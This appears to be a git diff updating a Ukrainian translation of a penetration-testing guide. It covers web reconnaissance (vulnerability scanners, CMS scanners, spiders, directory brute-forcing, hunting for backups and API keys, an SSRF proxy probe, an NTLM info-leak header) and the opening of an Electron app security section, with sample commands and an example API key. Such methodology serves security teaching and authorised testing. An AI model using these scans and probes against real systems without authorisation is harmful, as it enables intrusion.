- Чи зберігаються **паролі** у **plain text**, **зашифровані** або який **алгоритм хешування** використовується?
- Чи використовується якийсь **master key** для шифрування чогось? Який **алгоритм** використовується?
- Чи можна **отримати доступ до будь-якого з цих файлів**, експлуатуючи якусь вразливість?
- Чи є якась **цікава інформація в github** (вирішені та не вирішені) **issues**? Або в **commit history** (можливо якийсь **пароль** був доданий у старому коміті)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Автоматичні сканери
### Automatic scanners
#### Автоматичні сканери загального призначення
#### Універсальні автоматичні сканери
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -135,9 +134,9 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS сканери
#### CMS scanners
Якщо використовується CMS, не забудьте **запустити сканер**, можливо знайдеться щось цікаве:
Якщо використовується CMS, не забудьте **run a scanner**, можливо знайдеться щось цікаве:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** вебсайти на предмет проблем безпеки. (GUI)\
@ -150,45 +149,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> У цей момент ви вже повинні мати певну інформацію про веб-сервер, який використовує клієнт (якщо надано якісь дані), та кілька хитрощів, які слід пам'ятати під час тесту. Якщо вам пощастило, ви навіть знайшли CMS і запустили якийсь сканер.
> На цьому етапі ви повинні вже мати деяку інформацію про веб‑сервер, що використовується клієнтом (якщо надані дані), та кілька прийомів, які слід пам’ятати під час тесту. Якщо пощастить, ви навіть знайшли CMS і запустили сканер.
## Покрокове виявлення веб-застосунку
## Покрокова розвідка веб‑застосунку
> З цього моменту ми починаємо взаємодію з веб-застосунком.
> З цього моменту ми починаємо взаємодіяти з веб‑застосунком.
### Початкові перевірки
**Сторінки за замовчуванням з цікавою інформацією:**
**Типові сторінки з цікавою інформацією:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Перевірте також коментарі на основних та другорядних сторінках.
- Перевіряйте також коментарі на головних і другорядних сторінках.
**Форсування помилок**
Веб-сервери можуть **поводитися непередбачувано**, коли їм надсилають дивні дані. Це може відкрити **вразливості** або призвести до **розкриття чутливої інформації**.
Вебсервери можуть **поводитися непередбачувано**, коли їм надсилають дивні дані. Це може відкрити **вразливості** або призвести до **розкриття конфіденційної інформації**.
- Доступ до **фейкових сторінок** на кшталт /whatever_fake.php (.aspx,.html,.etc)
- **Додайте "\[]", "]]", and "\[["** у значення **cookie** та значення **параметрів**, щоб викликати помилки
- Сгенеруйте помилку, подавши вхід як **`/~randomthing/%s`** в **кінці** **URL**
- Спробуйте **різні HTTP Verbs**, наприклад PATCH, DEBUG або некоректні як FAKE
- **Додавайте "\[]", "]]", and "\[["** у **значення cookie** та **значення параметрів**, щоб створити помилки
- Генеруйте помилку, подавши вхід як **`/~randomthing/%s`** в **кінці URL**
- Спробуйте **різні HTTP Verbs** як PATCH, DEBUG або некоректні, наприклад FAKE
#### **Перевірте, чи можете завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Якщо ви виявите, що **WebDav** **увімкнено**, але у вас недостатньо прав для **uploading files** в кореневій папці, спробуйте:
Якщо ви виявите, що **WebDav** **увімкнено**, але у вас недостатньо дозволів для **завантаження файлів** в кореневу теку, спробуйте:
- **Brute Force** облікових даних
- **Upload files** через WebDav у решту знайдених папок на сайті. Можливо, у вас є права завантажувати файли в інших папках.
- **Завантажити файли** через WebDav у решту знайдених папок на сайті. Можливо, у вас є дозволи на завантаження файлів в інших папках.
### **SSL/TLS уразливості**
### **SSL/TLS вразливості**
- Якщо додаток **не примушує використання HTTPS** у будь-якій частині, то він **вразливий до MitM**
- Якщо додаток **відправляє чутливі дані (паролі) через HTTP** — це критична вразливість.
- Якщо застосунок **не примушує використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
- Якщо застосунок **надсилає чутливі дані (паролі) через HTTP**, це серйозна вразливість.
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в Bug Bounty програмах ці види вразливостей, ймовірно, не будуть прийняті) і використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) щоб перевірити на **вразливості** (у Bug Bounty програмах, ймовірно, такого роду вразливості не будуть прийняті) та використайте [**a2sv** ](https://github.com/hahwul/a2sv)щоб перепровірити вразливості:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -197,60 +196,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port>
sslyze --regular <ip:port>
```
Information about SSL/TLS vulnerabilities:
Інформація про вразливості SSL/TLS:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
Запустіть якийсь вид **spider** по веб-додатку. Мета spider — **знайти якомога більше шляхів** у тестованому застосунку. Тому для пошуку валідних шляхів слід використовувати web crawling та зовнішні джерела.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Також шукає в Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете вказати файл з hosts і файл з paths, а meg завантажить кожен шлях на кожному хості та збереже відповіді.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливістю рендерингу JS. Однак, схоже, що проект не підтримується, попередньо зібрана версія стара і поточний код не компілюється.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, що використовує зовнішніх провайдерів (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Скрипт знайде URL з параметрами і виведе їх.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливістю рендерингу JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider з можливістю JS beautify, здатний шукати нові шляхи в JS файлах. Варто також глянути на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування endpoint'ів з HTML та вбудованих javascript файлів. Корисно для bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт на python 2.7, що використовує Tornado і JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисний для виявлення AJAX запитів. Схоже, що не підтримується.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Беручи файл (HTML), витягує URL за допомогою регулярних виразів, щоб знайти і витягти відносні URL з мінімізованих файлів.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Збирає цікаву інформацію з JS файлів, використовуючи кілька інструментів.
- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS файли.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в headless browser і виводить всі URL, які були завантажені для рендерингу сторінки.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для discovery вмісту, що поєднує декілька опцій попередніх інструментів.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp extension для пошуку шляхів та параметрів в JS файлах.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який за .js.map URL надає beautified JS код.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Інструмент для виявлення endpoint'ів для заданої цілі.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді у wayback і шукаючи більше посилань).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулер (навіть з заповненням форм) і також знаходить чутливу інформацію за допомогою специфічних regex'ів.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite — розширений GUI web security Crawler/Spider для професіоналів з кібербезпеки.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go package і [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та іншої цікавої інформації з JavaScript коду.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Простий **Burp Suite extension** для **витягування параметрів та endpoint'ів** з запитів для створення кастомних wordlist'ів для fuzzing та enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Виводить кожне посилання, яке йому вдалося знайти.
### Brute Force directories and files
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
Tools:
Розпочніть **brute-forcing** з root каталогу і переконайтесь, що ви brute-force'ите **всі** **знайдені директорії**, використовуючи **цей метод**, а також усі директорії, **виявлені** під час **Spidering** (можна робити brute-forcing **рекурсивно**, додаючи на початок використаного wordlist імена знайдених директорій).\
Інструменти:
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- **Dirb** / **Dirbuster** - Включені в Kali, **старі** (і **повільні**), але функціональні. Підтримують self-signed сертифікати та рекурсивний пошук. Надто повільні у порівнянні з іншими опціями.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє self-signed сертифікати, але** дозволяє рекурсивний пошук.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Підтримує self-signed сертифікати, але **не** має **рекурсивного** пошуку.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, але інструмент, який, беручи список знайдених URL, видаляє "дубльовані" URL.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension для створення списку директорій із історії Burp для різних сторінок.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованою функціональністю (на основі js імпортів).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує Wappalyzer для визначення використовуваних технологій і підбору відповідних wordlist'ів.
**Recommended dictionaries:**
Рекомендовані словники:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -269,41 +268,41 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється нова директорія, її слід Brute-Force'ити._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знаходить биті посилання в HTML, які можуть бути піддатливими до takeover.
- **File Backups**: Після того як ви знайшли всі файли, шукайте бекапи виконуваних файлів ("_.php_", "_.aspx_"...). Поширені варіації іменування бекапів: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Можна також використати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Можна використати інструменти як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. За можливості намагайтесь шукати** приховані параметри в кожному виконуваному web файлі.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**.
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
- **Comments:** Перевіряйте коментарі у всіх файлах — там можна знайти **credentials** або **приховану функціональність**.
- Якщо ви граєте в **CTF**, "поширений" трюк — **сховати** **інформацію** всередині коментарів праворуч на сторінці (використовуючи **сотні** пробілів, щоб не бачити дані при відкритті вихідного коду в браузері). Інша можливість — використати **декілька нових рядків** і **сховати інформацію** в коментарі в **низу** веб-сторінки.
- **API keys**: Якщо ви **знайдете API key**, є гайди, які показують як використовувати ключі для різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Якщо знайдете API key, що починається з **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, можна використати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) щоб перевірити, до яких API має доступ ключ.
- **S3 Buckets**: Під час spidering перевіряйте, чи будь-який **subdomain** або **посилання** повʼязані з якимись **S3 bucket**. У такому випадку [**перевірте** права доступу бакету](buckets/index.html).
### Special findings
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
Під час виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **елементи**, які слід **зафіксувати**.
**Interesting files**
Interesting files
- Look for **links** to other files inside the **CSS** files.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
- Шукайте **посилання** на інші файли всередині **CSS** файлів.
- [Якщо знайдете _**.git**_, можна витягти деяку інформацію](git.md)
- Якщо знайдете _**.env**_, можна знайти такі дані як api keys, паролі до БД та іншу інформацію.
- Якщо знайдете **API endpoints**, вам слід [також протестувати їх](web-api-pentesting.md). Це не файли, але вони, ймовірно, "виглядатимуть" як такі.
- **JS files**: У секції spidering згадувалось декілька інструментів для витягування шляхів з JS файлів. Також цікаво **моніторити кожен знайдений JS файл**, оскільки іноді зміна може вказувати на появу потенційної вразливості в коді. Можна використати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
- Варто також перевіряти знайдені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole) на наявність вразливостей.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- У багатьох випадках вам знадобиться **розуміти регулярні вирази**, які використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex)
- Також можна **моніторити файли, де були виявлені форми**, оскільки зміна параметрів або поява нової форми може вказувати на потенційну нову вразливість.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -314,28 +313,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri
**502 Proxy Error**
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
Якщо будь-яка сторінка відповідає цим кодом, ймовірно має місце **погано налаштований proxy**. **Якщо ви надішлете HTTP запит типу: `GET https://google.com HTTP/1.1`** (з Host header та іншими звичними заголовками), **proxy** спробує **доступитися** до _**google.com**_ **і ви знайдете** SSRF.
**NTLM Authentication - Info disclosure**
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
Якщо сервер, що вимагає аутентифікацію, працює на **Windows** або ви знайдете логін, що просить ваші **credentials** (і просить **domain** **name**), ви можете спровокувати **витік інформації**.\
**Надішліть** заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через особливості роботи **NTLM authentication**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) в заголовку "WWW-Authenticate".\
Можна автоматизувати це за допомогою nmap плагіна "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
У редиректі можна **запхати контент**. Цей контент **не буде показаний користувачу** (оскільки браузер виконає редирект), але там може бути **схована** інформація.
### Web Vulnerabilities Checking
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
Тепер, коли проведено комплексну енумерацію веб-застосунку, час перевірити багато можливих вразливостей. Чекліст доступний тут:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Find more info about web vulns in:
Детальніше про web vulns:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -343,7 +342,7 @@ Find more info about web vulns in:
### Monitor Pages for changes
You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
Можна використовувати інструменти на кшталт [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) для моніторингу сторінок на предмет змін, які можуть вставити вразливості.
### HackTricks Automatic Commands
```

View File

@ -4,14 +4,14 @@
## Вступ
Electron поєднує локальний бекенд (з **NodeJS**) та фронтенд (**Chromium**), хоча він не має деяких механізмів безпеки сучасних браузерів.
Electron поєднує локальний бекенд (з **NodeJS**) і фронтенд (**Chromium**), хоча йому бракує деяких механізмів безпеки сучасних браузерів.
Зазвичай код Electron-додатку можна знайти всередині `.asar` пакета; щоб отримати код, потрібно його розпакувати:
Зазвичай код Electron-застосунку можна знайти всередині `.asar` архіву; щоб отримати код, його потрібно екстрагувати:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
У вихідному коді Electron-додатка, всередині `packet.json`, можна знайти вказаний файл `main.js`, де встановлені security configs.
У вихідному коді Electron app, всередині файлу `packet.json`, вказано файл `main.js`, у якому встановлено налаштування безпеки.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ npx asar extract-file app.asar main.js #Extract just a file
```
Electron має 2 типи процесів:
- Main Process (має повний доступ до NodeJS)
- Renderer Process (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
- Головний процес (має повний доступ до NodeJS)
- Рендер-процес (повинен мати обмежений доступ до NodeJS з міркувань безпеки)
![](<../../../images/image (182).png>)
Процес **renderer process** буде вікном браузера, яке завантажує файл:
**Рендер-процес** — це вікно браузера, яке завантажує файл:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,20 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE в Electron application** або іншим вразливостям, якщо **налаштування правильно сконфігуровані**.
Налаштування **renderer process** можна **сконфігурувати** в **main process** у файлі main.js. Деякі конфігурації можуть **запобігти отриманню RCE** в Electron application або іншим вразливостям, якщо **налаштування правильно встановлені**.
Electron application **може отримати доступ до пристрою** через Node apis, хоча це можна налаштувати, щоб запобігти цьому:
Electron application **може отримувати доступ до пристрою** через Node APIs, хоча це можна налаштувати, щоб запобігти цьому:
- **`nodeIntegration`** - за замовчуванням `off`. Якщо `on`, дозволяє доступ до Node features з **renderer process**.
- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main і renderer processes не ізольовані.
- **`preload`** - за замовчуванням порожній.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - за замовчуванням `off`. Він обмежує дії, які може виконувати NodeJS.
- **`nodeIntegration`** - за замовчуванням `off`. Якщо увімкнено, дозволяє доступ до Node API з **renderer process**.
- **`contextIsolation`** - за замовчуванням `on`. Якщо `off`, main та renderer processes не ізольовані.
